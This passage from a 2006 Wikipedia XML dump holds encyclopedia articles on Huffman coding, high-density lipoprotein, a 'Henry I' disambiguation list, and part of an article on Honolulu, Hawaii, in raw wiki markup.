      <text xml:space="preserve">In [[computer science]], '''Huffman coding''' is an [[entropy encoding]] [[algorithm]] used for [[lossless data compression]].  The term refers to the use of a variable-length code table for encoding a source symbol (such as a character in a file) where the variable-length code table has been derived in a particular way based on the estimated probability of occurrence for each possible value of the source symbol. It was developed by [[David A. Huffman]] as a [[Doctor of Philosophy|Ph.D.]] student at [[Massachusetts Institute of Technology|MIT]] in [[1952]], and published in ''A Method for the Construction of Minimum-Redundancy Codes''.

Huffman coding uses a specific method for choosing the representation for each symbol, resulting in a [[prefix-free code]] (that is, the bit string representing some particular symbol is never a prefix of the bit string representing any other symbol) that expresses the most common characters using shorter strings of bits than are used for less common source symbols. Huffman was able to design the most efficient compression method of this type: no other mapping of individual source symbols to unique strings of bits will produce a smaller average output size when the actual symbol frequencies agree with those used to create the code.  (Huffman coding is such a widespread method for creating prefix-free codes that the term &quot;Huffman code&quot; is widely used as a synonym for &quot;prefix-free code&quot; even when such a code was not produced by Huffman's algorithm.)

For a set of symbols with a uniform probability distribution and a number of members which is a [[power of two]], Huffman coding is equivalent to simple binary block encoding.

Assertions of the optimality of Huffman coding should be phrased carefully, because its optimality can sometimes accidentally be over-stated.  For example, [[arithmetic coding]] ordinarily has better compression capability, because it does not require the use of an integer number of bits for encoding each source symbol.  [[LZW]] coding can also often be more efficient, particularly when the input symbols are not independently-distributed, because it does not depend on encoding each input symbol one at a time (instead, it batches up a variable number of input symbols into each encoded syntax element).  The efficiency of Huffman coding also depends heavily on having a good estimate of the true probability of the value of each input symbol.

== History ==

In 1951, David Huffman and his MIT information theory classmates were given the choice of a term paper or a final exam. The professor, [[Robert M. Fano]], assigned a term paper on the problem of finding the most efficient binary code. Huffman, unable to prove any codes were the most efficient, was about to give up and start studying for the final when he hit upon the idea of using a frequency-sorted binary tree, and quickly proved this method the most efficient.

In doing so, the student outdid his professor, who had worked with [[information theory]] inventor [[Claude Shannon]] to develop a similar code. Huffman avoided the major flaw of [[Shannon-Fano coding]] by building the tree from the bottom up instead of from the top down.

== Problem definition ==

==== Informal description ====
'''Given'''. A set of symbols and their costs.&lt;br&gt;
'''Find'''. A prefix free binary character code (a sets of codewords) with minimum weighted path length.&lt;br&gt;
'''Note-1'''. A code wherein each character is represented by a unique binary string (codeword) is called a binary character code.&lt;br&gt;
'''Note-2'''. A prefix free code is a code having the property that no codeword is a prefix of any other codeword.&lt;br&gt;
'''Note-3'''. In the standard Huffman coding problem, it is assumed that each symbol in the set that the code words are constructed from has an equal cost to transmit: a code word whose length is N digits will always have a cost of N, no matter how many of those digits are 0s, how many are 1s, etc. When working under this assumption, minimizing the total cost of the message and minimizing the total number of digits are the same thing.

==== Formalized description ====
'''Input'''.&lt;br&gt;
Alphabet &lt;math&gt;A = \left\{a_{1},a_{2},\cdots,a_{n}\right\}&lt;/math&gt;, which is the symbol alphabet of size &lt;math&gt;n&lt;/math&gt;. &lt;br&gt;
Set &lt;math&gt;C = \left\{c_{1},c_{2},\cdots,c_{n}\right\}&lt;/math&gt;, which is the set of the symbol costs, i.e. &lt;math&gt;c_{i} = \mathrm{cost}\left(a_{i}\right), 1\leq i \leq n&lt;/math&gt;. &lt;br&gt;
&lt;br&gt;
'''Output'''.&lt;br&gt; 
Code &lt;math&gt;H\left(A,C\right) = \left\{h_{1},h_{2},\cdots,h_{n}\right\}&lt;/math&gt;, which is the set of (binary) codewords, where &lt;math&gt;h_{i}&lt;/math&gt; is the codeword for &lt;math&gt;a_{i}, 1 \leq i \leq n&lt;/math&gt;.&lt;br&gt;
&lt;br&gt;
'''Goal'''.&lt;br&gt; 
Let &lt;math&gt;S\left(H\right) = \sum_{i=1}^{n}{c_{i}\times\mathrm{length}\left(h_{i}\right)}&lt;/math&gt; be the weighted path length of code &lt;math&gt;H&lt;/math&gt;. Condition: &lt;math&gt;S\left(H\right) \leq S\left(T\right)&lt;/math&gt; for any code &lt;math&gt;T\left(A,C\right)&lt;/math&gt;.

==== Samples ====

====== Sample-1 ======
{| class=&quot;wikitable&quot;
! rowspan=&quot;2&quot; style=&quot;background: #efefef;&quot; | Input
! style=&quot;background: #efefef; font-weight: normal;&quot; | Alphabet
| a
| b
| c
| d
| e
| f
| g
| h
| i
| &amp;nbsp;
|-
! style=&quot;background: #efefef; font-weight: normal;&quot; | Costs
| style=&quot;color: blue;&quot; | 10
| style=&quot;color: blue;&quot; | 15
| style=&quot;color: blue;&quot; | 5
| style=&quot;color: blue;&quot; | 15
| style=&quot;color: blue;&quot; | 20
| style=&quot;color: blue;&quot; | 5
| style=&quot;color: blue;&quot; | 15
| style=&quot;color: blue;&quot; | 30
| style=&quot;color: blue;&quot; | 5
| &amp;nbsp;
|-
! rowspan=&quot;2&quot; style=&quot;background: #efefef;&quot; | Output
! style=&quot;background: #efefef; font-weight: normal;&quot; | Codewords
| &lt;code style=&quot;color: red;&quot;&gt;000&lt;/code&gt;
| &lt;code style=&quot;color: red;&quot;&gt;010&lt;/code&gt;
| &lt;code style=&quot;color: red;&quot;&gt;0010&lt;/code&gt;
| &lt;code style=&quot;color: red;&quot;&gt;011&lt;/code&gt;
| &lt;code style=&quot;color: red;&quot;&gt;111&lt;/code&gt;
| &lt;code style=&quot;color: red;&quot;&gt;00110&lt;/code&gt;
| &lt;code style=&quot;color: red;&quot;&gt;110&lt;/code&gt;
| &lt;code style=&quot;color: red;&quot;&gt;10&lt;/code&gt;
| &lt;code style=&quot;color: red;&quot;&gt;00111&lt;/code&gt;
| &amp;nbsp;
|-
! style=&quot;background: #efefef; font-weight: normal;&quot; | Weighted path length
| &lt;span style=&quot;color: blue;&quot;&gt;10&lt;/span&gt; * &lt;span style=&quot;color: red;&quot;&gt;3&lt;/span&gt;
| &lt;span style=&quot;color: blue;&quot;&gt;15&lt;/span&gt; * &lt;span style=&quot;color: red;&quot;&gt;3&lt;/span&gt;
| &lt;span style=&quot;color: blue;&quot;&gt; 5&lt;/span&gt; * &lt;span style=&quot;color: red;&quot;&gt;4&lt;/span&gt;
| &lt;span style=&quot;color: blue;&quot;&gt;15&lt;/span&gt; * &lt;span style=&quot;color: red;&quot;&gt;3&lt;/span&gt;
| &lt;span style=&quot;color: blue;&quot;&gt;20&lt;/span&gt; * &lt;span style=&quot;color: red;&quot;&gt;3&lt;/span&gt;
| &lt;span style=&quot;color: blue;&quot;&gt; 5&lt;/span&gt; * &lt;span style=&quot;color: red;&quot;&gt;5&lt;/span&gt;
| &lt;span style=&quot;color: blue;&quot;&gt;15&lt;/span&gt; * &lt;span style=&quot;color: red;&quot;&gt;3&lt;/span&gt;
| &lt;span style=&quot;color: blue;&quot;&gt;30&lt;/span&gt; * &lt;span style=&quot;color: red;&quot;&gt;2&lt;/span&gt;
| &lt;span style=&quot;color: blue;&quot;&gt; 5&lt;/span&gt; * &lt;span style=&quot;color: red;&quot;&gt;5&lt;/span&gt;
| = 355
|}

== Basic technique ==

The technique works by creating a [[binary tree]] of nodes. These can be stored in a regular [[array]], the size of which depends on the number of symbols(N). A node can be either a '''leaf node''' or an  '''internal node'''. Initially, all nodes are leaf nodes, which contain the '''symbol''' itself, the '''weight''' (frequency of appearance) of the symbol and optionally, a link to a '''parent''' node which makes it easy to read the code (in reverse) starting from a leaf node. Internal nodes contain symbol '''weight''', links to '''two child nodes''' and the optional link to a '''parent''' node. As a common convention, bit '0' represents following the left child and bit '1' represents following the right child. A finished tree has N leaf nodes and N&amp;minus;1 internal nodes.

A fast way to create a Huffman tree is to use the [[heap (data structure)|heap]] data structure, which keeps the nodes in partially sorted order according to a predetermined criterion. In this case, the node with the lowest weight is always kept at the root of the heap for easy access.

Creating the tree:
#Start with as many leaves as there are symbols.
#Push all leaf nodes into the heap.
#While there is more than one node in the heap:
##Remove two nodes with the lowest weight from the heap.
##If the heap was storing copies of node data rather than pointers to nodes in final storage for the tree, move these nodes to final storage.
##Create a new internal node, with the two just-removed nodes as children (either node can be either child) and the sum of their weights as the new weight.
##Update the parent links in the two just-removed nodes to point to the just-created parent node.
##Push the new node into the heap.
#The remaining node is the root node; the tree has now been generated.

It is generally beneficial to minimize the variance of codeword length. For example, a communication buffer receiving Huffman-encoded data may need to be larger to deal with especially long symbols if the tree is especially unbalanced. To reduce variance every newly generated node must be favored among same weight nodes and placed as high as possible. This modification will retain the mathematical optimality of the Huffman coding while minimizing the length of the longest character code.

== Main properties ==
The frequencies used can be generic ones for the application domain that are based on average experience, or they can be the actual frequencies found in the text being compressed.
(This variation requires that a [[frequency table]] or other hint as to the encoding must be stored with the compressed text; implementations employ various tricks to store 
tables efficiently.)

Huffman coding is optimal when the probability of each input symbol is a negative power of two. Prefix-free codes tend to have slight inefficiency on small alphabets, where probabilities often fall between these optimal points. Expanding the alphabet size by coalescing multiple symbols into &quot;words&quot; before Huffman coding can help a bit. The worst case for Huffman coding can happen when the probability of a symbol exceeds 2&lt;sup&gt;-1&lt;/sup&gt; making the upper limit of inefficiency unbounded. To prevent this, [[run-length encoding]] can be used to preprocess the symbols.

Extreme cases of Huffman codes are connected with [[Fibonacci number|Fibonacci and Lucas numbers]] and [http://mathworld.wolfram.com/WythoffArray.html Wythoff array].

[[Arithmetic coding]] produces slight gains over Huffman coding, but in practice these gains have seldom been large enough to offset arithmetic coding's higher computational complexity and [[patent]] [[royalties]]. ([[As of 2001|As of November 2001]], [[IBM]] owns patents on the core concepts of arithmetic coding in several jurisdictions.)

== Variations ==

=== Adaptive Huffman coding ===
A variation called [[adaptive Huffman coding]] calculates the frequencies dynamically based on recent actual frequencies in the source string.  This is somewhat related to the [[LZ77|LZ]] family of algorithms.

=== Length-limited Huffman coding ===
Length-limited Huffman coding is a variant where the goal is still to achieve a minimum weighted path length, but there is an additional restriction that the length of each codeword must be less than a given constant.

=== Huffman template algorithm ===
Most often, the weights used in implementations of Huffman coding represent numeric probabilities, but the algorithm given above does not require this; it requires only a way to order weights and to add them. The '''Huffman template algorithm''' enables one to use non-numerical weights (costs, frequencies).

=== ''n''-ary Huffman coding ===
The '''''n''-ary Huffman''' algorithm uses the {0, 1, ..., ''n'' &amp;minus; 1} alphabet to encode message and build an ''n''-ary tree.

=== Huffman coding with unequal letter costs ===
In the standard Huffman coding problem, it is assumed that each symbol in the set that the code words are constructed from has an equal cost to transmit:  a code word whose length is ''N'' digits will always have a cost of ''N'', no matter how many of those digits are 0s, how many are 1s, etc.  When working under this assumption, minimizing the total cost of the message and minimizing the total number of digits are the same thing.

''Huffman coding with unequal letter costs'' is the generalization in which this assumption is no longer assumed true:  the letters of the encoding alphabet may have non-uniform lengths, due to characteristics of the transmission medium.  An example is the encoding alphabet of [[Morse code]], where a 'dash' takes longer to send than a 'dot', and therefore the cost of a dash in transmission time is higher.  The goal is still to minimize the weighted average codeword length, but it is no longer sufficient just to minimize the number of symbols used by the message.

== Applications ==
[[Arithmetic coding]] can be viewed as a generalization of Huffman coding.
Although arithmetic coding offers better compression performance than Huffman coding, Huffman coding is still in wide use because of its simplicity, high speed and lack of encumbrance by [[patent]]s.

Huffman coding today is often used as a &quot;back-end&quot; to some other compression method.  
[[DEFLATE (algorithm)|DEFLATE]] ([[PKZIP]]'s algorithm) and multimedia [[codec]]s such as [[JPEG]] and [[MP3]] have a front-end model and [[quantization (signal processing)|quantization]] followed by Huffman coding.

==See also==
*[[Modified Huffman coding]] - used in [[fax machines]]
*[[Shannon-Fano coding]]
*[[Data Compression]]

== References ==

*Huffman's original article: D.A. Huffman, &quot;[http://compression.ru/download/articles/huff/huffman_1952_minimum-redundancy-codes.pdf A method for the construction of minimum-redundancy codes]&quot; (PDF), Proceedings of the I.R.E., sept 1952, pp 1098-1102
*Background story: [http://www.huffmancoding.com/david/scientific.html Profile: David A. Huffman], [[Scientific American]], Sept. 1991, pp. 54-58
* [[Thomas H. Cormen]], [[Charles E. Leiserson]], [[Ronald L. Rivest]], and [[Clifford Stein]]. ''[[Introduction to Algorithms]]'', Second Edition. MIT Press and McGraw-Hill, 2001. ISBN 0262032937. Section 16.3, pp.385&amp;ndash;392.

== External links ==

* [http://alexvn.freeservers.com/s1/huffman_template_algorithm.html n-ary Huffman Template Algorithm]
* [http://mathforum.org/discuss/sci.math/t/632220 Huffman codes' connection with Fibonacci and Lucas numbers]
* [http://groups.google.com/groups?selm=2ss5aqF1oc42cU1%40uni-berlin.de Fibonacci connection between Huffman codes and Wythoff array]
* [http://www.research.att.com/projects/OEIS?Anum=A098950 Sloane A098950] Minimizing k-ordered sequences of maximum height Huffman tree
* [http://semillon.wpi.edu/~aofa/AofA/msg00040.html Computing Huffman codes on a Turing Machine]
* Mordecai J. Golin, Claire Kenyon, Neal E. Young &quot;[http://www.cs.ust.hk/faculty/golin/pubs/LOP_PTAS_STOC.pdf Huffman coding with unequal letter costs]&quot; (PDF), [http://www.informatik.uni-trier.de/~ley/db/conf/stoc/stoc2002.html STOC 2002]: 785-791
* [http://gumuz.looze.net/wordpress/index.php/archives/2004/11/25/huffman-encoding/ Huffman Coding, implemented in python]
* [http://www.compression-links.info/Huffman List of Huffman compression resources, papers, libraries]
* [http://www.cs.duke.edu/csed/poop/huff/info/ Huffman Coding: A CS2 Assignment] a good introduction to Huffman coding

[[Category:Lossless compression algorithms]]
[[Category:Coding theory]]

[[cs:Huffmanovo kódování]]
[[de:Shannon-Fano-Kodierung]]
[[es:Codificación Huffman]]
[[fr:Codage de Huffman]]
[[ko:허프만 코딩]]
[[it:Codifica di Huffman]]
[[he:קוד הופמן]]
[[nl:Huffmancodering]]
[[ja:ハフマン符号]]
[[pl:Kodowanie Huffmana]]
[[pt:Codificação de Huffman]]
[[fi:Huffmanin koodaus]]
[[ru:Алгоритм Хаффмана]]
[[sv:Huffmankodning]]
[[th:รหัสฮัฟแมน และ รหัสแชนนอน-ฟาโน]]
[[zh:哈夫曼树]]</text>
    </revision>
  </page>
  <page>
    <title>High density lipoprotein</title>
    <id>13885</id>
    <revision>
      <id>40585309</id>
      <timestamp>2006-02-21T17:07:27Z</timestamp>
      <contributor>
        <username>David.Throop</username>
        <id>523120</id>
      </contributor>
      <comment>ID for A class of apolipoproteins, with Baylor cite</comment>
      <text xml:space="preserve">'''High-density lipoproteins''' ('''HDL''') form a class of [[lipoprotein]]s, varying somewhat in their size (8-11 nm in diameter) and contents, that carry [[cholesterol]] from the body's tissues to the [[liver]].

Because HDL can remove cholesterol from [[atheroma]] within arteries, and transport it back to the liver for excretion, they are seen as &quot;good&quot; lipoproteins. When measuring cholesterol, any contained in HDL particles serves as protection to the body's cardiovascular health. (In contrast to &quot;bad&quot; [[Low density lipoprotein|LDL]] cholesterol.)

HDL are the smallest of the lipoproteins. They are the densest because they contain the highest proportion of [[protein]]. They contain the A class of [[apolipoprotein]]s.{{ref|baylor}}  The liver synthesises these lipoproteins as complexes of apolipoproteins and phospholipid, which resemble empty flattened spherical protein particles. They are capable of picking up cholesterol, carried internally, from cells they interact with. A plasma enzyme called lecithin-cholesterol acyltransferase (LCAT) converts the free cholesterol into cholesteryl ester (a more hydrophobic form of cholesterol) which is then sequestered into the core of the lipoprotein particle eventually making the newly synthesized HDL spherical. They increase in size as they circulate through the bloodstream and incorporate more cholesterol molecules into their structure. Thus it is the concentration of large HDL particles which more accurately reflects protective action, as opposed to the concentration of total HDL particles. This ratio of large HDL to total HDL particles varies widely and is only measured by more sophisticated lipoprotein assays using either [[electrophoresis]], the original method developed in the [[1970s]] or newer [[Nuclear magnetic resonance|NMR]] [[spectroscopy]] methods, developed in the [[1990s]].

Men tend to have noticeably lower HDL levels, with smaller size and lower cholesterol content, than women. Men also have an increased incidence of [[atherosclerosis|atherosclerotic]] heart disease.

Epidemiological studies have shown that high concentrations of HDL (over 60 mg/dL) have protective value against [[cardiovascular disease]]s (such as ischemic [[stroke]] and [[myocardial infarction]]). Low concentrations of HDL (below 40 mg/dL for men, below 50 mg/dL for women) are a positive risk factor for these [[atherosclerosis|atherosclerotic]] diseases.

HDL particles are not inherently protective. It is only the HDL particles which become the largest, i.e. are actually picking up and carrying cholesterol, which are protective. There is no reliable relationship between total HDL and large HDL, and more sophisticated analyses which actually measure large HDL, not just total, correlate much better with clinical outcomes.

In the [[stress response]], [[serum amyloid A]], which is one of the [[acute phase proteins]] and an apolipoprotein, is under the stimulation of [[cytokine]]s ([[IL-1]], [[IL-6]]) and [[cortisol]] produced in the liver and carried to the damaged tissue incorporated into HDL particles. At the inflammation site, it attracts and activates leukocytes. In chronic inflammations, its deposition in the tissues manifests itself as [[amyloidosis]]. 

==Recommended range==
The [[American Heart Association]], [[NIH]] and [[NCEP]] provides a set of guidelines for male fasting HDL levels and risk for [[Coronary heart disease|heart disease]].

{| cellpadding=3 cellspacing=0 border=1 style=&quot;border-collapse:collapse&quot;
|bgcolor=&quot;#cccccc&quot;| '''Level''' [[gram per litre|mg/dl]]
|bgcolor=&quot;#cccccc&quot;| '''Level''' [[Mole (unit)|mmol]]/[[Litre|L]]
|bgcolor=&quot;#cccccc&quot;| '''Interpretation'''
|-
| &lt;40
| &lt;1.03
| Low HDL cholesterol, heightened risk for heart disease, &lt;50 is the value for women
|-
| 40-59
| 1.03-1.52
| Medium HDL level
|-
| &gt;60
| &gt;1.55
| High HDL level, optimal condition considered protective against heart disease
|}

More sophisticated laboratory methods measure not just the total HDL but also the range of HDL particles, typically divided into 5 groups by size, instead of just the total HDL concentration as listed above. The largest two groups (most functional) of HDL particles have the most protective effects. The two groups of smallest particles reflect HDL particles which are not actively transporting cholesterol, thus not protective.

==Citations==
# {{note|baylor}} {{Web reference|author= Baylor College of Medicine, Lipids Online|url= http://www.lipidsonline.org/slides/slide01.cfm?q=apolipoprotein&amp;dpg=59|publishyear=January 29, 2001  |date=February 20|year=2006|title=Heterogeneity of HDL}}

==References==
*[http://www.nhlbi.nih.gov/guidelines/cholesterol/atp3_rpt.htm Adult Treatment Panel III Full Report]
*[http://www.nhlbi.nih.gov/guidelines/cholesterol/atp3upd04.htm ATP III Update 2004]

''See also'': [[cholesterol]],  [[low density lipoprotein]]

[[category:Endocrinology]]
[[category:Cardiology]]
[[Category:Lipoproteins]]

[[de:HDL (Medizin)]]
[[es:Lipoproteína de alta densidad]]
[[fr:Lipoprotéine de haute densité]]
[[pl:Lipoproteina wysokiej gęstości]]
[[sv:LDL]]</text>
    </revision>
  </page>
  <page>
    <title>Henry I</title>
    <id>13886</id>
    <revision>
      <id>38857297</id>
      <timestamp>2006-02-09T02:29:36Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: hu</comment>
      <text xml:space="preserve">'''Henry I''' may refer to:

* [[Henry the Fowler|Henry I of Germany]], &quot;the Fowler&quot; (876–936).
* [[Henry I, Duke of Bavaria]] (c. 920–955).
* [[Henry I of Austria]] (died 1018).
* [[Henry II, Holy Roman Emperor]] (972–1024), called &quot;Henry I&quot; by historians who don't recognise Henry the Fowler as Holy Roman Emperor.
* [[Henry I of England]] (1068–1135).
* [[Henry I of France]] (1008–1060).
* [[Henry I of Champagne]] (died 1181).
* [[Henry II of Champagne|Henry I of Jerusalem]] and II of Champagne (1166–1197).
* [[Henry of Flanders|Henry I of Constantinople]] (1174–1216).
* [[Henry I of Castile]] (1204–1217).
* [[Henry I, Duke of Brabant]] (c. 1165–1235).
* [[Henryk I the Bearded|Henryk I, Duke of Poland]], &quot;the Bearded&quot; (1163–1238).
* [[Henry I of Cyprus]], &quot;the Fat&quot; (1217–1253).
* [[Henry III of Champagne|Henry I of Navarre]] and III of Champagne, &quot;the Fat&quot; (c. 1244–1274).
* [[Henry I of Hesse]], &quot;the Child&quot; (1244–1308).
* [[Henry I, Duke of Guise]] (1550–1558).
* [[Henry of Portugal]] (1512–1580).
* [[Henri I de Bourbon, Prince de Condé]] (1552–1588)
* [[Henri Ier de Montmorency]] (1534–1614).
* [[Henry I, Duke of Lorraine]] (1563–1624).
* [[Henri de Savoie, 4th Duc de Nemours]] (1572–1632).
* [[Henri Christophe|Henri I of Haiti]] (1767–1820). 

{{disambig}}

[[es:Enrique I]]
[[fr:Henri Ier]]
[[it:Enrico I]]
[[hu:I. Henrik]]
[[nl:Hendrik I]]
[[ja:ハインリヒ1世]]
[[pl:Henryk I]]
[[ru:Генрих I]]
[[fi:Henrik I]]</text>
    </revision>
  </page>
  <page>
    <title>Honolulu, Hawaii</title>
    <id>13887</id>
    <revision>
      <id>42083992</id>
      <timestamp>2006-03-03T18:45:53Z</timestamp>
      <contributor>
        <ip>71.9.8.226</ip>
      </contributor>
      <comment>/* Government */</comment>
      <text xml:space="preserve">{{Infobox City
|official_name = Honolulu, Hawai{{okina}}i
|image_map = HonoluluHILM.GIF 
|map_caption = Location of Honolulu within the [[City &amp; County of Honolulu|City &amp; County of Honolulu, Hawai{{okina}}i]].
|subdivision_type = [[Countries of the world|Country]]&lt;br&gt;&amp;nbsp;&amp;nbsp;[[Political divisions of the United States|State]]&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[[City]] &amp; [[List of counties in California|County]]
|subdivision_name = [[United States]]&lt;br&gt;&amp;nbsp;&amp;nbsp;[[Hawaii|Hawai{{okina}}i]]&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[[City &amp; County of Honolulu|Honolulu]]
|area_magnitude = 1 E8 
|area_total = 272.1
|area_land = 222.0
|area_water = 50.1
|population_as_of = 2004 
|population_total = 377,260 (estimate) 
|population_density = 1,674.4
|timezone = [[Hawaii-Aleutian Standard Time Zone|Hawai{{okina}}i-Aleutian]]
|utc_offset = -10
|latitude = 21°18'32&quot; N
|longitude = 157°49'34&quot; W
|footnotes = 
}}
{{dablink|&quot;Honolulu&quot; redirects here. For the city and county, see [[City &amp; County of Honolulu]]. For the film titled Honolulu, see [[Honolulu (1939 film)]]}}

'''Honolulu''' is the [[capital]] and largest community of the [[U.S. State]] of [[Hawaii|Hawai{{okina}}i]]. In the [[Hawaiian language]], ''honolulu'' means &quot;sheltered bay&quot; or &quot;place of shelter.&quot; The [[census-designated place]] (CDP) is located along the southeast coast of the island of [[Oahu|O{{okina}}ahu]]. The term also refers to the District of Honolulu (see Geography below). As of July 1, 2004, the [[U.S. Census Bureau]] estimate for Honolulu puts the [[population]] at 377,260 and that of the city and county (essentially, the Island of O{{okina}}ahu) is 900,000. In Hawai{{okina}}i, local governments operate only at the county level, and the [[City &amp; County of Honolulu]] encompasses all of the Island of O{{okina}}ahu (approximately 600 square miles).

==History==
[[Image:Honolulu from Diamond Head.jpg|thumb|400px|right|Honolulu (Waikiki) as seen from Diamond Head]]
It is not known when Honolulu was first settled by the original [[Polynesia]]n migrants to the archipelago.  Oral histories and artifacts indicate that there was a settlement where Honolulu now stands in the 12th century. However, after [[Kamehameha I|Kamehameha I]] conquered [[Oahu|O{{okina}}ahu]] in the Battle of [[Nuuanu Pali|Nu{{okina}}uanu Pali]], he moved his royal court from the [[Hawaii (island)|Island of Hawai{{okina}}i]] to [[Waikiki|Waikīkī]] in 1804.  His court later relocated, in 1809, to what is now [[downtown Honolulu]].

Captain William Brown of England was the first foreigner to sail, in 1794, into what is now Honolulu Harbor.  More foreign ships would follow, making the port of Honolulu a focal point for merchant ships traveling between [[North America]] and [[Asia]].

In 1845, [[Kamehameha III|Kamehameha III]] moved the permanent capital of the Hawaiian Kingdom from [[Lahaina, Hawaii|Lāhainā]] on [[Maui]] to Honolulu.  He and the kings that followed him transformed Honolulu into a modern capital, erecting buildings such as [[Cathedral Church of Saint Andrew, Honolulu|St. Andrew's Cathedral]], [[Iolani Palace|{{okina}}Iolani Palace]], and [[Aliiolani Hale|Ali{{okina}}iolani Hale]]. At the same time, Honolulu became the center of commerce in the Islands, with descendants of American missionaries establishing major businesses in downtown Honolulu.  

Despite the turbulent history of the late 19th century and early 20th century, which saw the overthrow of the Hawaiian monarchy, Hawai{{okina}}i's subsequent annexation by the [[United States]], and the [[Japan|Japanese]] attack on [[Pearl Harbor]], Honolulu would remain the capital, largest city, and main airport and seaport of the Hawaiian Islands.

An economic and tourism boom following statehood brought rapid economic growth to Honolulu and Hawai{{okina}}i.  Modern air travel would bring thousands, eventually millions (per annum) of visitors to the Islands.  Today, Honolulu is a modern city with numerous high-rise buildings, and Waikīkī is the center of the tourism industry in Hawai{{okina}}i, with thousands of hotel rooms.

==Geography and climate==
Honolulu is located at 21&amp;deg;18'32&quot; North, 157&amp;deg;49'34&quot; West (21.308950, -157.826182){{GR|1}}. While this is clearly in the [[tropics]], the [[climate]] ([[temperature]] and [[humidity]]) is moderated by the mid-ocean location and some cooling achieved by the [[California Current]] that passes through the islands much of year. The average daily low and high temperatures in January are 65/80 &amp;deg;F (18/27 &amp;deg;C) and in July are 74/88 &amp;deg;F (23/31 &amp;deg;C). Temperatures exceed 90 &amp;deg;F (32 &amp;deg;C) only rarely, with lows in the 50's °F (15 &amp;deg;C) occurring perhaps once or twice in a year. The hottest [[temperature]] ever recorded in Honolulu was 95 &amp;deg;F (35 &amp;deg;C) on [[September 19]], [[1994]] and the coldest [[temperature]] ever recorded was 53 &amp;deg;F (11.6 &amp;deg;C) on [[January 31]], [[1998]], 1972 and 1948 and on [[January 20]], [[1969]] and on [[February 1]] and [[2]], 1976 and on [[February 9]], [[1981]] and on [[February 12]], [[1983]]. 
[[Image:ISS007E16813_Hono.jpg|thumb|300px|left|Honolulu as seen from the International Space Station]] 

The '''Honolulu District''' is located on the southeast coast of O&amp;lsquo;ahu between [[Makapuu|Makapu{{okina}}u]] and [[Halawa, Hawaii|Hālawa]]. The District boundary follows the Ko{{okina}}olau crestline, so Makapu{{okina}}u Beach is in the Ko{{okina}}olaupoko District. On the west, the district boundary follows Hālawa Stream, then crosses [[Red Hill Underground Fuel Storage Facility|Red Hill]] and runs just west of [[Salt Lake, Hawaii|Āliamanu Crater]], so that [[Aloha Stadium]], [[Pearl Harbor]] (with the [[USS Arizona Memorial]]), and [[Hickam Air Force Base]] are actually all located in the island's {{okina}}Ewa District. 

Most of the city's commercial and industrial developments are located on a  narrow but relatively flat coastal plain, while numerous ridges and valleys located inland of the coastal plain divide Honolulu's residential areas into distinct neighborhoods: some spread along valley floors (like Mānoa in Mānoa Valley) and others climb the interfluvial ridges. Within Honolulu proper can be found several [[volcanic cone]]s: [[Punchbowl]], [[Diamond Head, Hawaii|Diamond Head]], [[Koko Head]] (includes [[Hanauma Bay]]), Koko Crater, Salt Lake, and Āliamanu being the most conspicuous.

Honolulu and [[Juneau, Alaska]] are the only 2 US state capitals that cannot be reached directly by road from the contiguous 48 States.  Direct connections to these capitals require a boat or a plane.

==Government==
{{main|City &amp; County of Honolulu}}
Originally governed by a Board of Supervisors, the [[City &amp; County of Honolulu]] is administered under a [[mayor-council]] system of governance overseeing all municipal services: civil defense, driver licensing, emergency medical, fire, parks and recreation, police, sanitation, streets, vehicle registration, voter registration, water, among others. One of the largest municipal governments in the United States, the City &amp; County of Honolulu has an annual operating budget of $1 billion.

The current mayor of Honolulu is [[Mufi Hannemann]] (term ends January 2009).

==Neighborhoods and special districts==
[[Image:Honolulu_Downtown.jpg|right|thumb|250px|View of downtown Honolulu at Bishop and King streets with First Hawaiian Center building (left) and Bank of Hawai{{okina}}i (right)]]
* '''[[Downtown Honolulu]]''' is the financial, commercial, and governmental center of Hawai{{okina}}i.  On the waterfront is [[Aloha Tower]], which for many years was the tallest building in Hawai{{okina}}i.  Currently the tallest building is the 438-foot-tall (134 m) [[First Hawaiian Center]], located on King and Bishop Streets ([http://www.lightfantastic.org/imr/places/firsthawaiiancenter.html]).
* The '''Capitol District''' is the eastern part of Downtown Honolulu. It is the current and historic center of Hawai{{okina}}i's state government, incorporating the [[Hawaii State Capitol|Hawai{{okina}}i State Capitol]], [[Iolani Palace|{{okina}}Iolani Palace]], [[Honolulu Hale]] (City Hall), State Library, and the statue of King [[Kamehameha I]], along with numerous government buildings.
* '''[[Kakaako|Kaka{{okina}}ako]]''' is a light-industrial district between Downtown and Waikīkī that has seen a large-scale redevelopment effort in the past decade.  It is home to two major shopping areas, [[Ward Warehouse]] and [[Ward Centre]].  The [[John A. Burns School of Medicine]], part of the [[University of Hawai'i at Mānoa|University of Hawai{{okina}}i at Mānoa]] is also located there. A Memorial to the [[USS Greeneville (SSN-772)|''Ehime Maru'' Incident]] victims is built at Kaka{{okina}}ako Waterfront Park.
* '''[[Waikiki|Waikīkī]]''' is the world famous tourist district of Honolulu, located between the Ala Wai Canal and the [[Pacific Ocean]] next to [[Diamond Head, Hawaii|Diamond Head]].  Numerous hotels, shops, and nightlife opportunities are located along Kalākaua and Kuhio Avenues.  World-famous '''Waikīkī Beach''' attracts millions of visitors a year.  Just west of Waikīkī is [[Ala Moana Center]], the world's largest open-air shopping center. A majority of the hotel rooms on O{{okina}}ahu are located in Waikīkī.
[[Image:DwntwnfmCapitol.jpg|right|thumb|250px|Downtown Honolulu as seen from the Capitol District]]
* '''[[Manoa|Mānoa]]''' and '''[[Makiki]]''' are residential neighborhoods located in adjacent valleys just inland of downtown and Waikīkī.  Mānoa Valley is home to the main campus of the [[University of Hawaii|University of Hawai{{okina}}i]].
* '''Nu{{okina}}uanu''' and '''Pauoa''' are middle-class to upper-middle-class residential districts located inland of downtown Honolulu.  The [[National Memorial Cemetery of the Pacific]] is located in [[Punchbowl Crater]] fronting Pauoa Valley.
* '''Palolo''' and '''Kaimukī''' are neighborhoods east of Mānoa and Makiki, inland from Diamond Head. Palolo Valley parallels Mānoa and is a residential neighborhood. Kaimukī is primarily a residential neighborhood with a commercial strip centered on Wai{{okina}}alae Avenue running behind Diamond Head.  Chaminade University is located in Kaimukī.
